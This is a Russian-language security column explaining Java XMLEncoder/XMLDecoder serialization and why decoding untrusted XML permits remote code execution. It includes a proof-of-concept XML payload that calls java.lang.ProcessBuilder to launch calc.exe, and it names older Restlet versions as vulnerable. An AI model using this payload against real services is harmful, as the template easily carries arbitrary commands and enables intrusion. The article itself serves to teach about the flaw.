«Проблемы» с нативной двоичной сериализацией в Java (да и не только) стали, наверное, одним из главных трендов 2015 года. На основе этой технологии были найдены критические уязвимости не просто в каком-то ПО, а в протоколах; зацепило и Android. Но технологии не ограничиваются только бинарной сериализацией (кроме нативной, есть еще целый пучок сторонних библиотек), есть и другие варианты. Один из них — XML-сериализация объектов.

Я уже описывал эксплуатацию такой уязвимости в одном из недавних выпусков Easy Hack. Тогда с помощью плагина для Burp мы модифицировали бинарную сериализацию в XML, меняли данные и после обратного процесса пересылали дальше на сервер. Для этого использовалась сторонняя библиотека XStream. Но есть и другие. И сегодня мы поговорим про простейший вариант (для атакующего) — XMLEncoder.

Начнем сразу с примера, так будет понятнее. Предположим, у нас имеется класс Employee. В нем есть два поля.

private int employeeId;
public String employeeName;

Создадим объект.

Employee emp1 = new Employee();
emp1.setEmployeeId(3);
emp1.employeeName="John";

Для того чтобы сериализовать объект, нам требуется всего пара строчек.

XMLEncoder e = new XMLEncoder(
    new BufferedOutputStream(
        new FileOutputStream("d:\\TestXML.xml")));
e.writeObject(emp1);

Чтобы десериализовать XML в объект, выполняется обратная операция.

XMLDecoder d = new XMLDecoder(
    new BufferedInputStream(
        new FileInputStream("d:\\TestXML.xml")));
Employee result = (Employee) d.readObject();

Согласись, очень схоже с нативной бинарной сериализацией. Похожи и основные фишки. Например, мы можем отправить любой сериализованный объект (из известных приложению классов), и он сначала будет десериализован (создан), а потом уже будет предпринята попытка его скастить (привести) к необходимому типу.

Однако все это нам не потребуется. Достаточно взглянуть на XML с объектом.

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_75" class="java.beans.XMLDecoder">
 <object class="com.test.Employee" id="Employee0">
  <void class="com.test.Employee" method="getField">
   <string>employeeName</string>
   <void method="set">
    <object idref="Employee0"/>
    <string>John</string>
   </void>
  </void>
  <void property="employeeId">
   <int>3</int>
  </void>
 </object>
</java>

Поначалу структура может показаться запутанной, но главное здесь вот что: в отличие от нативной сериализации, где просто указываются все поля объекта и их значения, тут мы имеем доступ и к методам. XMLEncoder как бы описывает последовательность действий для последующего восстановления объектов с помощью XMLDecoder.

Теоретически если какое-то приложение ждет на вход объект Java, сериализованный с помощью XMLEncoder, то мы легко можем отправить специальный XML, который заставит приложение выполнить команду в ОС в процессе десериализации.

Вот пример такой XML.

<?xml version="1.0" encoding="UTF-8"?>
<java>
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="1" >
            <void index="0"> 
                <string>c:\\windows\\system32\\calc.exe</string>            
            </void>        
        </array>
        <void method="start"/>
    </object>
</java>    

Подробнее об этой теме можешь почитать у ресерчера, который раскрыл эту тему.

Как видишь, технология реализована так, что с ее помощью можно сделать что угодно. Тем не менее она применяется в жизни. Например, не так давно (пару лет назад) ее перестал использовать фреймворк для RESTful-сервисов Restlet. Однако старые версии, которые, я уверен, еще используются во многих продуктах, дают в определенных случаях возможность получить RCE.

Кстати, я планирую в скором времени выложить на GitHub свое задание с хакквеста последнего ZeroNights. Ты сможешь поиграться с описанной выше атакой на Restlet, а также HQL-инъекцией для MySQL и типичной Execution After Redirect. Постараюсь и впредь снабжать Easy Hack тестовыми стендами, хотя вопрос, в каком виде их распространять, пока открыт.

Комментарии

Подпишитесь на ][, чтобы участвовать в обсуждении

Обсуждение этой статьи доступно только нашим подписчикам. Вы можете войти в свой аккаунт или зарегистрироваться и оплатить подписку, чтобы свободно участвовать в обсуждении.

Check Also

Проблема «Плащ и кинжал» угрожает всем версиям Android, вплоть до 7.1.2

Исследователи обнаружили новую проблему в Android, позволяющую перехватить контроль над ус…